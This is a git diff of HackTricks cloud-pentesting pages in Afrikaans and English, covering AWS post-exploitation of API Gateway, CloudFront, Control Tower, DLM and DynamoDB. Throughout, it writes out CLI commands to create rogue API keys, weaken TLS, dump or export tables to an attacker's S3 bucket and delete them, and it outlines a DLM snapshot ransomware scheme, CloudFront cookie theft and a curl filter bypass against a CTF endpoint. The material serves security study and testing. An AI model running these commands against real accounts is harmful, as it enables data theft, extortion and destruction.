`apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` - -'n Aanvaller met toestemmings `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, en `apigateway:CreateUsagePlanKey` kan **nuwe API-sleutels skep, dit met gebruiksplanne assosieer, en dan hierdie sleutels gebruik vir ongeoorloofde toegang tot API's**. -```bash -# Create a new API key -API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') - -# Create a new usage plan -USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id') - -# Associate the API key with the usage plan -aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY -``` -**Potensiële Impak**: Onbevoegde toegang tot API-hulpbronne, omseiling van sekuriteitsbeheer. - -> [!NOTE] -> Nodig om te toets - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md new file mode 100644 index 000000000..d598f3499 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md @@ -0,0 +1,132 @@ +# AWS - API Gateway Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## API Gateway + +Vir meer inligting, kyk: + +{{#ref}} +../../aws-services/aws-api-gateway-enum.md +{{#endref}} + +### Toegang tot nie-blootgestelde APIs + +You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\ +Vanaf die EC2-masjien sal jy dan die endpoint kan bereik en dus die gateway API kan aanroep wat voorheen nie blootgestel was nie. + +### Bypass Request body passthrough + +This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). + +Soos aangedui in die [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in die `PassthroughBehavior` afdeling, sal die waarde **`WHEN_NO_MATCH`**, wanneer die **Content-Type** header van die versoek nagegaan word, die versoek sonder transformasie na die back end deurgee. + +Daarom het die API Gateway in die CTF 'n integration template gehad wat **preventing the flag from being exfiltrated** in 'n response toe 'n versoek gestuur is met `Content-Type: application/json`: +```yaml +RequestTemplates: +application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' +``` +Egter, 'n versoek met **`Content-type: text/json`** sou daardie filter omseil. + +Laastens, aangesien die API Gateway slegs `Get` en `Options` toegelaat het, was dit moontlik om 'n arbitrêre dynamoDB query sonder beperking te stuur deur 'n POST versoek met die query in die body te stuur en die header `X-HTTP-Method-Override: GET` te gebruik: +```bash +curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' +``` +### Gebruikplanne DoS + +In die **Enumeration** afdeling kan jy sien hoe om die **verkry die gebruikplan** van die sleutels. As jy die sleutel het en dit is **beperk** tot X gebruike **per maand**, kan jy dit **net gebruik en 'n DoS veroorsaak**. + +Die **API Key** hoef net **ingesluit** te word in 'n **HTTP header** genaamd **`x-api-key`**. + +### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` + +'n aanvaller met die permissies `apigateway:UpdateGatewayResponse` en `apigateway:CreateDeployment` kan **'n bestaande Gateway Response wysig om pasgemaakte headers of response templates in te sluit wat sensitiewe inligting leak of kwaadwillige skripte uitvoer**. +```bash +API_ID="your-api-id" +RESPONSE_TYPE="DEFAULT_4XX" + +# Update the Gateway Response +aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}" + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Potensiële impak**: Leakage van sensitiewe inligting, die uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API-hulpbronne. + +> [!NOTE] +> Benodig toetsing + +### `apigateway:UpdateStage`, `apigateway:CreateDeployment` + +An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **wysig 'n bestaande API Gateway-stage om verkeer na 'n ander stage te herlei of die caching-instellings te verander om ongemagtigde toegang tot gecachede data te verkry**. +```bash +API_ID="your-api-id" +STAGE_NAME="Prod" + +# Update the API Gateway stage +aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5" + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Potensiële impak**: Ongemagtigde toegang tot gecachede data, die ontwrigting of onderskep van API-verkeer. + +> [!NOTE] +> Benodig toetsing + +### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` + +'n aanvaller met die toestemmings `apigateway:PutMethodResponse` en `apigateway:CreateDeployment` kan **die metode-antwoord van 'n bestaande API Gateway REST API-metode wysig om pasgemaakte headers of antwoordsjablone in te sluit wat leak sensitiewe inligting of kwaadwillige skripte uitvoer**. +```bash +API_ID="your-api-id" +RESOURCE_ID="your-resource-id" +HTTP_METHOD="GET" +STATUS_CODE="200" + +# Update the method response +aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true" + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Potensiële impak**: Leakage van sensitiewe inligting, die uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API-hulpbronne. + +> [!NOTE] +> Benodig toetsing + +### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` + +'n aanvaller met die permissies `apigateway:UpdateRestApi` en `apigateway:CreateDeployment` kan **die API Gateway REST API-instellings wysig om logging uit te skakel of die minimum TLS-weergawe te verander, wat moontlik die veiligheid van die API verswak**. +```bash +API_ID="your-api-id" + +# Update the REST API settings +aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER' + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Potensiële impak**: Verzwakking van die API se veiligheid, wat moontlik ongemagtigde toegang toelaat of sensitiewe inligting blootstel. + +> [!NOTE] +> Moet getoets word + +### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` + +'n Aanvaller met toestemmings `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, en `apigateway:CreateUsagePlanKey` kan **nuwe API keys skep, dit met usage plans koppel, en dan hierdie keys gebruik vir ongemagtigde toegang tot APIs**. +```bash +# Create a new API key +API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') + +# Create a new usage plan +USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id') + +# Associate the API key with the usage plan +aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY +``` +**Potensiële impak**: Ongemagtigde toegang tot API-hulpbronne, omseiling van sekuriteitskontroles. + +> [!NOTE] +> Benodig toetsing + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md deleted file mode 100644 index 19eede883..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ /dev/null @@ -1,31 +0,0 @@ -# AWS - CloudFront Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFront - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-cloudfront-enum.md -{{#endref}} - -### Man-in-the-Middle - -Hierdie [**blogpos**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) stel 'n paar verskillende scenario's voor waar 'n **Lambda** bygevoeg (of gewysig indien dit reeds gebruik word) kan word in 'n **kommunikasie deur CloudFront** met die doel om **gebruikersinligting** (soos die sessie **cookie**) te **steel** en die **antwoord** te **wysig** (deur 'n kwaadwillige JS-skrip in te voeg). - -#### scenario 1: MitM waar CloudFront geconfigureer is om toegang te verkry tot 'n HTML van 'n emmer - -- **Skep** die kwaadwillige **funksie**. -- **Koppel** dit aan die CloudFront verspreiding. -- Stel die **gebeurtenistipe op "Viewer Response"**. - -Deur die antwoord te benader, kan jy die gebruikers se cookie steel en 'n kwaadwillige JS in voeg. - -#### scenario 2: MitM waar CloudFront reeds 'n lambda-funksie gebruik - -- **Wysig die kode** van die lambda-funksie om sensitiewe inligting te steel - -Jy kan die [**tf kode om hierdie scenario's hier te hercreëer**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) kyk. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md new file mode 100644 index 000000000..827bf34fe --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -0,0 +1,31 @@ +# AWS - CloudFront Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFront + +Vir meer inligting, kyk: + +{{#ref}} +../../aws-services/aws-cloudfront-enum.md +{{#endref}} + +### Man-in-the-Middle + +This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) stel 'n paar verskillende scenario's voor waar 'n **Lambda** bygevoeg kan word (of gewysig as dit reeds gebruik word) in 'n **kommunikasie deur CloudFront** met die doel om gebruikersinligting te **steel** (soos die session **cookie**) en die **response** te **wysig** (deur 'n kwaadwillige JS-skrip in te spuit). + +#### scenario 1: MitM waar CloudFront gekonfigureer is om HTML van 'n bucket te benader + +- **Skep** die kwaadwillige **function**. +- **Koppel** dit aan die CloudFront distribution. +- Stel die **event type op "Viewer Response"**. + +Deur toegang tot die **response** te kry, kan jy die gebruiker se **cookie** steel en 'n kwaadwillige JS inspuit. + +#### scenario 2: MitM waar CloudFront reeds 'n lambda function gebruik + +- **Wysig die kode** van die lambda function om sensitiewe inligting te steel + +Jy kan die [**tf code om hierdie scenario's hier te herproduseer**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) nagaan. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md deleted file mode 100644 index 049cf0c4e..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ /dev/null @@ -1,18 +0,0 @@ -# AWS - Control Tower Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Control Tower - -{{#ref}} -../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md -{{#endref}} - -### Aktiveer / Deaktiveer Beheer - -Om 'n rekening verder te benut, mag jy nodig hê om Control Tower beheer te deaktiveer/aktiver. -```bash -aws controltower disable-control --control-identifier --target-identifier -aws controltower enable-control --control-identifier --target-identifier -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md new file mode 100644 index 000000000..37969159c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md @@ -0,0 +1,18 @@ +# AWS - Control Tower Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Control Tower + +{{#ref}} +../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +{{#endref}} + +### Skakel kontroles aan / af + +Om 'n rekening verder te exploit, mag dit nodig wees om Control Tower-kontroles te deaktiveer/aktiveer: +```bash +aws controltower disable-control --control-identifier --target-identifier +aws controltower enable-control --control-identifier --target-identifier +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md deleted file mode 100644 index ca67db5b4..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - DLM Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Data Lifecycle Manger (DLM) - -### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` - -'n Ransomware-aanval kan uitgevoer word deur soveel EBS-volumes as moontlik te enkripteer en dan die huidige EC2-instances, EBS-volumes en snapshots te verwyder. Om hierdie kwaadwillige aktiwiteit te outomatiseer, kan 'n mens Amazon DLM gebruik, wat die snapshots met 'n KMS-sleutel van 'n ander AWS-rekening en die versleutelde snapshots na 'n ander rekening oordra. Alternatiewelik kan hulle snapshots sonder versleuteling na 'n rekening wat hulle bestuur oordra en dit dan daar versleut. Alhoewel dit nie regstreeks moontlik is om bestaande EBS-volumes of snapshots te enkripteer nie, is dit moontlik om dit te doen deur 'n nuwe volume of snapshot te skep. - -Eerstens sal 'n mens 'n opdrag gebruik om inligting oor volumes te versamel, soos instansie-ID, volume-ID, versleutelingstatus, aanhegselsstatus en volumetipe. - -`aws ec2 describe-volumes` - -Tweedens sal 'n mens die lewensiklusbeleid skep. Hierdie opdrag gebruik die DLM API om 'n lewensiklusbeleid op te stel wat outomaties daaglikse snapshots van spesifieke volumes op 'n aangewese tyd neem. Dit pas ook spesifieke etikette op die snapshots toe en kopieer etikette van die volumes na die snapshots. Die policyDetails.json-lêer sluit die besonderhede van die lewensiklusbeleid in, soos teiketikette, skedule, die ARN van die opsionele KMS-sleutel vir versleuteling, en die teikrekening vir snapshotdeling, wat in die slagoffer se CloudTrail-logs aangeteken sal word. -```bash -aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json -``` -'n Sjabloon vir die beleidsdokument kan hier gesien word: -```bash -{ -"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", -"ResourceTypes": [ -"VOLUME" -], -"TargetTags": [ -{ -"Key": "ExampleKey", -"Value": "ExampleValue" -} -], -"Schedules": [ -{ -"Name": "DailySnapshots", -"CopyTags": true, -"TagsToAdd": [ -{ -"Key": "SnapshotCreator", -"Value": "DLM" -} -], -"VariableTags": [ -{ -"Key": "CostCenter", -"Value": "Finance" -} -], -"CreateRule": { -"Interval": 24, -"IntervalUnit": "HOURS", -"Times": [ -"03:00" -] -}, -"RetainRule": { -"Count": 14 -}, -"FastRestoreRule": { -"Count": 2, -"Interval": 12, -"IntervalUnit": "HOURS" -}, -"CrossRegionCopyRules": [ -{ -"TargetRegion": "us-west-2", -"Encrypted": true, -"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", -"CopyTags": true, -"RetainRule": { -"Interval": 1, -"IntervalUnit": "DAYS" -} -} -], -"ShareRules": [ -{ -"TargetAccounts": [ -"123456789012" -], -"UnshareInterval": 30, -"UnshareIntervalUnit": "DAYS" -} -] -} -], -"Parameters": { -"ExcludeBootVolume": false -} -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md new file mode 100644 index 000000000..6a148e45e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md @@ -0,0 +1,91 @@ +# AWS - DLM Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Data Lifecycle Manger (DLM) + +### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` + +'n Ransomware-aanval kan uitgevoer word deur soveel EBS volumes as moontlik te enkripteer en dan die huidige EC2 instances, EBS volumes en snapshots uit te wis. Om hierdie kwaadwillige aktiwiteit te outomatiseer, kan mens Amazon DLM gebruik om die snapshots te enkripteer met 'n KMS key van 'n ander AWS account en die enkripteerde snapshots na 'n ander rekening oor te dra. Alternatiewelik kan hulle snapshots sonder enkripsie na 'n rekening wat hulle beheer oordra en dit dan daar enkripteer. Alhoewel dit nie eenvoudig is om bestaande EBS volumes of snapshots direk te enkripteer nie, is dit moontlik deur 'n nuwe volume of snapshot te skep. + +Eerstens sal mens 'n opdrag gebruik om inligting oor volumes in te samel, soos instance ID, volume ID, enkripsiestatus, attachment status en volume tipe. + +`aws ec2 describe-volumes` + +Vervolgens sal mens die lifecycle policy skep. Hierdie opdrag gebruik die DLM API om 'n lifecycle policy op te stel wat outomaties daaglikse snapshots van gespesifiseerde volumes op 'n aangewese tyd neem. Dit pas ook spesifieke tags toe op die snapshots en kopieer tags van die volumes na die snapshots. Die policyDetails.json file bevat die besonderhede van die lifecycle policy, soos teiken-tags, skedule, die ARN van die opsionele KMS key vir enkripsie, en die teikenrekening vir snapshot sharing, wat in die slagoffer se CloudTrail logs aangeteken sal word. +```bash +aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json +``` +'n Sjabloon vir die beleidsdokument kan hier gesien word: +```bash +{ +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} +} +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md similarity index 62% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index b1418343b..2bf19e4fc 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - DynamoDB Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## DynamoDB Vir meer inligting, sien: {{#ref}} -../aws-services/aws-dynamodb-enum.md +../../aws-services/aws-dynamodb-enum.md {{#endref}} ### `dynamodb:BatchGetItem` -’n aanvaller met hierdie toestemmings sal in staat wees om **items uit tabelle deur die primêre sleutel te kry** (jy kan nie net al die data van die tabel vra nie). Dit beteken dat jy die primêre sleutels moet ken (jy kan dit kry deur die tabelmetadata te vra met `describe-table`). +An attacker met hierdie regte sal in staat wees om **items uit tabelle per primêre sleutel te kry** (jy kan nie net al die data van die tabel vra nie). Dit beteken dat jy die primêre sleutels moet ken (jy kan dit kry deur die tabel se metadata te kry (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Potensiële impak:** Indirect privesc deur sensitiewe inligting in die tabel te lokaliseer +**Potensiële impak:** Indirect privesc deur sensitiewe inligting in die tabel te vind ### `dynamodb:GetItem` -**Soortgelyk aan die vorige toestemmings** hierdie een laat 'n potensiële aanvaller toe om waardes uit slegs 1 tabel te lees, mits die primêre sleutel van die inskrywing bekend is: +**Soortgelyk aan die vorige permissions** laat hierdie een 'n potensiële attacker toe om waardes van net 1 tabel te lees, mits die primary key van die inskrywing bekend is: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -Met hierdie toestemming is dit ook moontlik om die metode **`transact-get-items`** te gebruik, soos: +Met hierdie toestemming is dit ook moontlik om die **`transact-get-items`**-metode soos volg te gebruik: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel te vind +**Potential Impact:** Indirekte privesc deur sensitiewe inligting in die tabel te vind ### `dynamodb:Query` -**Vergelykbaar met die vorige permissies** hierdie een laat 'n potensiële attacker toe om waardes van net 1 tabel te lees gegewe die primêre sleutel van die inskrywing wat gelees moet word. Dit laat toe om 'n [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) te gebruik, maar die enigste vergelyking wat met die primêre sleutel (wat moet verskyn) toegelaat word is "EQ", dus kan jy nie 'n vergelyking gebruik om die hele DB in een versoek te kry nie. +**Soortgelyk aan die vorige permissies** hierdie een laat 'n potensiële aanvaller toe om waardes uit net 1 tabel te lees, mits die primêre sleutel van die item wat teruggevra word, gegee is. Dit laat toe om [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) te gebruik, maar die enigste vergelyking wat met die primêre sleutel (wat moet verskyn) toegelaat word, is "EQ", so jy kan nie 'n vergelyking gebruik om die hele DB in een versoek te kry nie. {{#tabs }} {{#tab name="json file" }} @@ -107,11 +107,11 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel op te spoor +**Potensiële Impak:** Indirekte privesc deur sensitiewe inligting in die tabel te vind ### `dynamodb:Scan` -Jy kan hierdie toestemming gebruik om **die hele tabel maklik te dump**. +Jy kan hierdie toestemming gebruik om die hele tabel maklik te dump. ```bash aws dynamodb scan --table-name #Get data inside the table ``` @@ -119,23 +119,23 @@ aws dynamodb scan --table-name #Get data inside the table ### `dynamodb:PartiQLSelect` -Jy kan hierdie toestemming gebruik om **dump die hele tabel maklik**. +Jy kan hierdie toestemming gebruik om **die hele tabel maklik te dump**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -Hierdie toestemming laat ook toe om `batch-execute-statement` uit te voer soos: +Hierdie toestemming maak dit ook moontlik om `batch-execute-statement` uit te voer, soos: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -maar jy moet die primêre sleutel met 'n waarde spesifiseer, so dit nie so nuttig is nie. +maar jy moet die primêre sleutel met 'n waarde spesifiseer, so dit is nie baie nuttig nie. **Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel te vind ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Hierdie toestemming sal 'n attacker toelaat om **die hele tabel na 'n S3 bucket uit te voer** van sy keuse: +Hierdie toestemming sal 'n aanvaller toelaat om **die hele tabel na 'n S3-bucket van sy keuse te eksporteer**: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Let daarop dat die tabel point-in-time-recovery aangeskakel moet wees vir dit om te werk; jy kan nagaan of die tabel dit het met: +Let wel: daarvoor moet die tabel point-in-time-recovery geaktiveer wees. Jy kan nagaan of die tabel dit het met: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -As dit nie geaktiveer is nie, moet jy dit **aktiveer** en daarvoor het jy die **`dynamodb:ExportTableToPointInTime`** toestemming nodig: +As dit nie aangeskakel is nie, sal jy dit moet **aanskakel** en daarvoor benodig jy die **`dynamodb:ExportTableToPointInTime`** toestemming: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel op te spoor +**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel te vind ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -Met hierdie toestemmings sou 'n aanvaller in staat wees om **'n nuwe tabel vanaf 'n rugsteun te skep** (of selfs 'n rugsteun te skep om dit dan in 'n ander tabel te herstel). Dan, met die nodige toestemmings, sou hy in staat wees om **inligting** uit die rugsteune te nagaan wat c**nie meer in die produksie** tabel is. +Met hierdie toestemmings kan 'n aanvaller **'n nuwe tabel vanaf 'n rugsteun skep** (of selfs 'n rugsteun skep om dit dan in 'n ander tabel te herstel). Dan, met die nodige toestemmings, sal hy in staat wees om **inligting** uit die rugsteune te kontroleer wat **nie meer in die produksietabel** is. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabelrugsteun te lokaliseer +**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel se rugsteun te lokaliseer ### `dynamodb:PutItem` -Hierdie toestemming laat gebruikers toe om 'n **nuwe item by die tabel te voeg of 'n bestaande item te vervang** met 'n nuwe item. As 'n item met dieselfde primêre sleutel reeds bestaan, sal die **gehele item vervang word** met die nuwe item. As die primêre sleutel nie bestaan nie, sal 'n nuwe item met die gespesifiseerde primêre sleutel **aangemaak** word. +Hierdie toestemming laat gebruikers toe om 'n **nuwe item by die tabel te voeg of 'n bestaande item met 'n nuwe item te vervang**. As 'n item met dieselfde primêre sleutel reeds bestaan, sal die **gehele item deur die nuwe item vervang** word. As die primêre sleutel nie bestaan nie, sal 'n nuwe item met die gespesifiseerde primêre sleutel **aangemaak** word. {{#tabs }} {{#tab name="XSS Example" }} @@ -202,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Potential Impact:** Uitbuiting van verdere vulnerabilities/bypasses deur in staat te wees om data in 'n DynamoDB-tabel by te voeg of te wysig +**Potensiële impak:** Uitbuiting van verdere kwetsbaarhede/omseilings deur in staat te wees om data in 'n DynamoDB tabel by te voeg/wysig ### `dynamodb:UpdateItem` -Hierdie toestemming laat gebruikers toe om die bestaande eienskappe van 'n item te **wysig** of nuwe eienskappe aan 'n item **by te voeg**. Dit **vervang nie** die hele item nie; dit werk slegs die gespesifiseerde eienskappe by. As die primêre sleutel nie in die tabel bestaan nie, sal die operasie 'n **nuwe item skep** met die gespesifiseerde primêre sleutel en die eienskappe instel soos aangedui in die update expression. +Hierdie toestemming laat gebruikers toe om **die bestaande eienskappe van 'n item te wysig of nuwe eienskappe by 'n item te voeg**. Dit vervang **nie** die hele item nie; dit werk slegs die gespesifiseerde eienskappe by. As die primêre sleutel nie in die tabel bestaan nie, sal die operasie **'n nuwe item skep** met die gespesifiseerde primêre sleutel en die eienskappe soos gespesifiseer in die update expression instel. {{#tabs }} {{#tab name="XSS Example" }} @@ -242,11 +242,11 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Potensiële impak:** Uitbuiting van verdere kwesbaarhede/omseilings deur in staat te wees om data in 'n DynamoDB-tabel by te voeg of te wysig +**Potensiële impak:** Uitbuiting van verdere vulnerabilities/bypasses deur in staat te wees om data by te voeg/wysig in 'n DynamoDB tabel ### `dynamodb:DeleteTable` -An attacker met hierdie toestemming kan **'n DynamoDB-tabel verwyder, wat dataverlies veroorsaak**. +'n attacker met hierdie toestemming kan **'n DynamoDB tabel verwyder, wat dataverlies veroorsaak**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ @@ -256,29 +256,29 @@ 